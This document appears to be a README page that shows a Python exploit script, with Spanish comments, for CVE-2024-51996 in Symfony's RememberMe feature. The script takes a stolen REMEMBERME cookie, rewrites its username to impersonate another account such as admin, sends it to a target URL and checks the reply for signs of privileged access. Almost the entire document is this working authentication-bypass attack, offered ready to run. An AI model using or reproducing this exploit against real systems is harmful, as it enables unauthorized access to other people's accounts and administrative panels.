README.md
Rendering markdown...
import requests
import argparse
import sys
def banner():
print("==============================================")
print(" Symfony RememberMe Exploit v2.0 ")
print(" Explota el CVE-2024-51996 (bypass auth) ")
print(" by m10sec | [email protected] ")
print("==============================================\n")
def parse_args():
parser = argparse.ArgumentParser(description="Exploit para CVE-2024-51996 - Symfony RememberMe token spoofing.")
parser.add_argument("-u", "--url", required=True, help="URL objetivo (por ejemplo: https://victima.com)")
parser.add_argument("-c", "--cookie", required=True, help="Cookie REMEMBERME robada (ej: User1:token:series:hash)")
parser.add_argument("-s", "--spoof", required=True, help="Usuario a suplantar (ej: admin)")
return parser.parse_args()
def exploit(target_url, stolen_cookie, spoof_user):
print(f"[*] URL objetivo: {target_url}")
print(f"[*] Usuario a suplantar: {spoof_user}")
if spoof_user not in stolen_cookie:
# Suplantar al usuario original de la cookie robada
try:
original_user = stolen_cookie.split(":")[0]
spoofed_cookie = stolen_cookie.replace(original_user, spoof_user, 1)
except Exception:
print("[-] Error al analizar la cookie robada.")
sys.exit(1)
else:
spoofed_cookie = stolen_cookie
print(f"[+] Cookie suplantada: {spoofed_cookie}")
cookies = {
"REMEMBERME": spoofed_cookie
}
try:
r = requests.get(target_url, cookies=cookies, timeout=10, allow_redirects=True)
except requests.exceptions.RequestException as e:
print(f"[-] Error al realizar la petición: {e}")
sys.exit(1)
print(f"[+] Código HTTP recibido: {r.status_code}")
if "admin" in r.text.lower() or "panel" in r.text.lower() or "dashboard" in r.text.lower():
print("[+] ¡Posible acceso como usuario privilegiado!")
else:
print("[-] El bypass no fue exitoso o la respuesta no lo evidencia.")
if __name__ == "__main__":
banner()
args = parse_args()
exploit(args.url, args.cookie, args.spoof)